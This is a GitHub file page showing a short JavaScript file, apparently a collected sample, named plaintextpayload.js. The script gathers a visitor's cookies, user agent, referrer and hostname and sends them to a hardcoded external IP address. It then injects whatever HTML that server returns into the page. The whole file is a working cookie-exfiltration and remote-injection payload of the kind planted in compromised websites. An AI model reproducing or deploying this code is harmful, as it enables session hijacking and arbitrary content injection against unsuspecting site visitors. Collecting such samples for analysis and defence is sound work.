-
Notifications
You must be signed in to change notification settings - Fork 4
/
Copy pathplaintextpayload.js
49 lines (49 loc) · 1.36 KB
/
plaintextpayload.js
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
function e(d) {
var xhr = null;
if (!!window.XMLHttpRequest) {
xhr = new XMLHttpRequest();
} else if (!!window.ActiveXObject) {
var xhrs = ['Microsoft.XMLHTTP', 'Msxml2.XMLHTTP', 'Msxml2.XMLHTTP.3.0', 'Msxml2.XMLHTTP.6.0'];
for (var i = 0; i < xhrs.length; i++) {
try {
xhr = ActiveXObject(xhrs[i]);
break;
} catch (e) {}
}
}
if (!!xhr) {
xhr.open('POST', 'http://185.149.120\.3/scholargoogle/');
xhr.timeout = 10000;
xhr.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded');
xhr.onreadystatechange = function() {
if (xhr.readyState == 4 && xhr.status == 200) {
var resp = xhr.responseText;
if (resp) {
var fans = JSON.parse(resp);
if (fans) {
var an_s = decodeURIComponent(fans.InjectionString).replace(/\+/g, '%20');
var da = document.createElement('div');
da.id = 'ans';
da.innerHTML = an_s;
document.body.appendChild(da);
}
}
}
};
var pd = [];
for (var k in d) {
if (d.hasOwnProperty(k)) {
pd.push(k + '=' + d[k]);
}
}
var dc = pd.join('&');
xhr.send(dc);
}
}
e({
'agent': navigator.userAgent,
'referer': document.referrer,
'cookie': document.cookie,
'domain': window.location.hostname,
'c_state': !!document.cookie
});